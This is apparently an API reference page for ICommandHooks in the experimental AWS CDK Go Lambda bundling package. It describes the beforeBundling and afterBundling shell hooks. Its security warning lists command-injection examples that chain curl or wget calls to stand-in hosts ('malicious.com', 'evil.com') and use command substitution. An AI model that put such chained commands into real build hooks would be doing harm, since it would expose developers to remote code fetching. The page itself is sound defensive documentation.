> **Experimental**
>
> `@aws-cdk/aws-lambda-go-alpha` is an [**experimental**](/stability) (alpha) package: its API may change in any release, without a major version bump.
# ICommandHooks

Command hooks.

These commands will run in the environment in which bundling occurs: inside
the container for Docker bundling or on the host OS for local bundling.

⚠️ **Security Warning**: Commands are executed directly in the shell environment.
Only use trusted commands and avoid shell metacharacters that could enable
command injection attacks.

**Safe patterns (cross-platform):**
- `go test ./...` - Standard Go commands work on all platforms
- `go mod tidy` - Go module commands
- `echo "Building"` - Simple output with quotes
- `make clean` - Build tools (if available)

**Dangerous patterns to avoid:**

*Windows:*
- `go test & curl.exe malicious.com` (command chaining)
- `echo %USERPROFILE%` (environment variable expansion)
- `powershell -Command "..."` (PowerShell execution)

*Unix/Linux/macOS:*
- `go test; curl malicious.com` (command chaining)
- `echo $(whoami)` (command substitution)
- `bash -c "wget evil.com"` (shell execution)

Commands are chained with `&&`.

- Stability: [Experimental](/cdk/api/stability.html)
- Source: [`lib/types.ts`](https://github.com/aws/aws-cdk/blob/v2.277.0-alpha.0/packages/@aws-cdk/aws-lambda-go-alpha/lib/types.ts#L163)

## Methods

- `afterBundling(inputDir: string, outputDir: string): string[]` — Returns commands to run after bundling.

  ⚠️ **Security Warning**: Ensure commands come from trusted sources only.
  Commands are executed directly in the shell environment.

  Commands are chained with `&&`.

- `beforeBundling(inputDir: string, outputDir: string): string[]` — Returns commands to run before bundling.

  ⚠️ **Security Warning**: Ensure commands come from trusted sources only.
  Commands are executed directly in the shell environment.

  Commands are chained with `&&`.
